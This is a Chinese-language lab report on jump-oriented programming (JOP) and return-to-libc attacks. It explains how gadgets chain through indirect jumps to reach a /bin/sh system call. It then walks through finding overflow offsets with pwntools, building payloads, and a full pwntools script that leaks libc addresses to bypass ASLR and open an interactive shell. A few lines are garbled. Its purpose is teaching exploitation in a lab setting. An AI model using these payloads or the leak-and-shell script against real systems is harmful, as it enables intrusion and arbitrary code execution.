实验名称:JOP代码复用攻击的实现
实验原理:
JOP 的全称为 Jump-oriented programming(跳转导向编程),攻击与ROP 攻击类似。它同样利用二进制可执行文件中已有的代码片段来进行攻击。ROP 使用的是 ret指令来改变程序的控制流,而 JOP 攻击利用的是程序间接接跳转和间接调用指令(间接 call 指令)来改变程序的控制流。当程序在执行间接跳转或者是间接调用指令时,程序将从指定寄存器中获得其跳转的目的地址,由于这些跳转目的地址被保存在寄存器中,而攻击者又能通过修改栈中的内容来修改寄存器内容,这使得程序中间接跳转和间接调用的目的地址能被攻击者
篡改。当攻击者篡改这些寄存器当中的内容时,攻击者就能够使程序跳转到攻击者所构建的 gadget 地址处,进而实施 JOP 攻击。一个典型的 JOP gadget 的形式如下:
指令
指令
…
间接跳转指令
图 1 是一个 JOP 攻击的实例。在该实例中,攻击者的目的是执行系统调用“int 0x80”来开启一个新的命令行窗口。为了达到此目的,攻击者需要在“int 0x80”被调用之前,将 eax 寄存器的内容修改为“0x0000000b”,将 ebx 寄存器的内容需要修改成字符串“/bin/sh”,同时,ecx 和 edx 寄存器必须指向数值“0x00000000”。假设在程序运行的时候,数值“0x0000000”和字符串“/bin/sh”都能够在内存当中找到。攻击者需要自行构造数值“0x0000000b”。但是对于数值“0x0000000b”而言,当攻击者通过缓冲区溢出的方式将数据保存到栈中时,“0x00”字节将会触发系统终止读取操作。该实例具体描述了攻击者如何利用程序中已有的代码片段,将攻击者压入栈中 val 的值从“0xffffff0b”一步步修改成系统调用所需要的数值“0x0000000b”,从而实施 JOP 攻击。下述操作为该过程的详细步骤。
第一步:攻击者通过对程序的动态调试和静态分析,计算出图中 gadget 1、gadget 2和系统调用“int 0x80”的地址。之后,利用程序的缓冲区溢出漏洞向栈中填充设计好的各个寄存器中的数值。
第二步:程序执行 gadget 1,“popa”指令将对栈空间进行初始化。该指令使得栈中的数据出栈并将其分别保存进除 esp 寄存器之外的其他通用寄存器中。“cmc”指令对栈不产生任何有意义的操作。此时,ebp 寄存器中保存了用于计算gadget 2起始地址的数据。当指令“jmp [ebp+0x62]”被执行时,程序跳转到gadget 2。
第三步:程序执行 gadget 2。bl 寄存器存储有数据“0x01”,与此同时,[esi+edi*4-0xD]指向了数值“0xff”。“add [esi + edi*4-0xD], bl”指令将[esi+edi*4-0xD]所指向的地址处的数值修改为“0x00”,该操作组成了 val 的第一个字节的内容。寄存器 bl,esi,edi和 eax通过第二步进行了初始化,其中 eax保存由 gadget 1 的起始地址,程序执行“jmp eax”指令后,程序跳转到 dadget 1 处。
第四步:程序执行 gadget 1。该 gadget中的指令使得栈中的数据依次出栈并且将其保存在处 esp 寄存器之外的其他通用寄存器后,程序跳转到 gadget 2。
第五步:程序执行 gadget 2。bl寄存器存储了数据“0x01”,同时,[esi+edi*4 -0xD]所指向的数据的值为“0xff”。指令“add [esi+edi*4-0xD], bl”使得 bl 寄存器中的数值加上[esi+edi*4 -0xD]所指向的数据的数值,通过这一步,攻击者可以在bl 寄存器中构造出 val 的第二个字节的数值“0x00”,然后,程序继续跳转到gadget 1。
第六步:程序执行 gadget 1。该 gadget中的指令使得栈中的数据依次出栈并
且将其保存在处 esp 寄存器之外的其他通用寄存器中,随后程序跳转到 gadget 2。
第七步:程序执行 gadget 2。bl寄存器存储了数据“0x01”,同时,[esi+edi*4 -0xD]所指向的数据的值为“0xff”。指令“add [esi+edi*4-0xD], bl”使得 bl 寄存器中的数值加上[esi+edi*4 -0xD]所指向的数据的数值,通过这一步,攻击者可以构造出来 val 的最后一个字节的数值“0x00”。“jmp eax”指令使程序继续跳转到gadget 1。
第八步:程序执行 gadget 1。该 gadget中的指令使得栈中的数据依次出栈并且将其保存在处 esp 寄存器之外的其他通用寄存器中。然后,程序跳转到“int 0x80”系统调用的地址处。
第九步:程序执行系统调用“int 0x80”。以上九个步骤,攻击者通过程序的内存溢出漏洞向栈中写入构造好的数据。利用程序中的间接跳转,实现不同 gadget 之间的跳转。当所有 gadget 执行完其对应功能后,攻击者将成功开启一个新的命令行窗口,完成 JOP 攻击。
实验目的:
(1)掌握 JOP 攻击的相关原理;
(2)能够熟练程序运行流程以及调试等工具的使用;
(3)能够自己动手设计 JOP 攻击并实现。
实验过程:
0. 实验前关闭地址空间随机化
1. 写漏洞程序
2. gdb 调试漏动程序得 system 函数地址、/bin/sh 地址和缓冲区偏移量
2.1 用 pwntool 找偏移量
安装命令:sudo pip install pwn
在安装过程中,如果没有pip,需要先安装python,再安装pip,过程如图:
2.2 通过使用GDB命令,得到system和/bin/sh的地址
使用gcc命令编译漏洞代码,使用 “-fno-stack-protector”关闭缓冲区溢出检测
为了实验方便,我们直接使用libc.so.6中的函数作为需要执行的攻击函数,这是Linux中的一个的C程序运行库,里面保存了大量可利用的函数,而且包含system("/bin/sh")。因此我们可以利用ROPgadget工具获取我们可以利用的代码片段,通过pwntool来利用漏洞程序的漏洞,从而达到我们的攻击目的,即运行system(“/bin/sh”)。为方便后续使用ROPgadget工具来查找gadget并攻击,需要将libc.so.6文件复制到操作目录下,先使用 “ldd”命令查看源目录,再使用“cp”命令将其复制到操作目录下。
使用pwntool中的cyclic命令产生一个长度为500的字符串,以作为漏洞程序输入,用以检测溢出点。
依次输入“gdb -q loudong”、“run”及上述产生的字符串,可以在程序运行后查看到各个寄存器的地址,可以看到,我们需要查看的RBP寄存器内存储的字符串为“haabiaab”,根据栈帧的结构,RBP寄存器指向地址的高8字节地址便是返回地址,则溢出点位置为RBP位置+8,易得这个值为128+8=136。则可以产生payload中的一个项:
payload = "A" *136
再依次输入“print system”、“find ‘/bin/sh’”、“break main”命令,获得system地址与/bin/sh地址,依次继续构建payload:
system_addr = 0x7ffff7a52390
bin_addr = 0x7ffff7b99d57
payload = "A" * 136 + p64(system_addr) + p64(bin_addr)
3. 找 Gadget
我们知道,在x64中,函数的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以为了让电脑运行我们想要的命令,需要想办法把"/bin/sh"的地址放到RDI里面,使机器能够执行system函数。仔细查看linux函数栈结构后,可以发现,我们可以利用RAX寄存器,将system()地址放到RAX里面,再寻找有jmp rax的代码片段加以利用,同时利用RDI寄存器传递参数"/bin/sh",最终达到攻击目的。
3.1 安装 ROPgadget
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
在使用git安装的过程中,我们发现,直接对上面的链接使用git clone不可行,于是,需要点开链接,然后将其可用的链接复制下来使用git clone命令进行安装:
3.2 根据具体找 Gadget
我们使用如下命令来分别获取ret与jmp操作的地址,借用rax寄存器,将“/bin/sh”传入,并完善攻击代码,进行最后的攻击测试。
4. 写攻击程序
进一步完善 JOP 程序攻击上面漏洞程序,把地址按 gadget 顺序精心填入漏洞程序缓冲区,使用python编写代码并实现。
5. 攻击测试
执行 “python jop.py” 命令,进行攻击,可以看到,成功执行了system(“/bin”sh”)函数,攻击成功。
一个自己尝试的进阶实验——绕过地址随机进行攻击
通过泄露内存的方式可以获取目标程序libc中各函数的地址,这种攻击方式可以绕过地址随机化保护。
攻击过程如下,漏洞代码同上,在实验平台上完成:
首先需要确定输入多少字符时,溢出会发生
使用pwntools里面的cyclic工具生成字符串
$ cyclic 1000
然后用GDB调试漏洞程序,找到溢出点
最后,使用pwntools中的cyclic查找字符串:
cyclic -l 0x6261616b140
可以看到,第140字节后的4个字节会覆盖read函数的返回地址,所以泄露system地址的payload如下:
'A' * 140 + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4)
分析可得,将上述payload发送后,ret指令将要执行时,栈中的情况,如图:
构造leak函数:
def leak(address):
payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
p.sendline(payload1)
data = p.recv(4)
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
这段函数能从内存中address处dump出4字节数据,函数执行结束后会返回main函数重新执行,也就是说利用这个函数,我们可以dump出整个libc
使用DynELF模块查找system函数地址:
d = DynELF(leak, elf=ELF('./001'))
system_addr= d.lookup('system', 'libc')
获取到system地址后便可以构造system("/bin/sh");攻击程序。由于程序中没有/bin/sh这个字符串,我们可以用read函数先它写入内存中一个固定的位置,然后再执行system函数。
bss段在内存中的位置是固定的,所以可以将/bin/sh写到bss段中,payload如下:
'B' * 140 + p32(read_plt) + p(ret1) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(ret2) + p32(bss_addr)
现在栈中的情况如图:
我们构造的read函数有3个参数,这3个参数和read函数的返回地址不同,返回地址在ret指令执行时被pop出栈,但是这3个参数却还留在栈中,没有被弹出栈,这回影响我们构造的下一个函数system的执行,所以我们需要找一个连续pop三个寄存器的指令来平衡堆栈。这种指令很容易找到,如下:
$ objdump -d 001 | grep pop -C5
使用字符串过滤的方法,我们找的pop指令后面还需要带有一个ret指令,这样我们平衡堆栈后可以返回到我们构造的函数,如下图所示:
我们可以选取 0x804850d - 0x8048510这四条指令作为gadgets:
pop ebx; pop esi; pop ebp; ret
攻击代码:
#!/usr/bin/python from pwn import *
p = process('001')
elf = ELF('001')
read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
main = elf.symbols['main']
def leak(address):
payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
p.sendline(payload1)
data = p.recv(4)
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF('001'))
system_addr = d.lookup('system', 'libc')
log.info("system_addr = " + hex(system_addr))
bss_addr = elf.symbols['__bss_start']
pppr = 0x804850d
payload2 = "B" * 140 + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(main) + p32(bss_addr)
p.sendline(payload2)
p.sendline("/bin/sh\0")
p.interactive()
攻击结果与普通JOP攻击类似,并在其基础上添加了对于操作日志log的打印。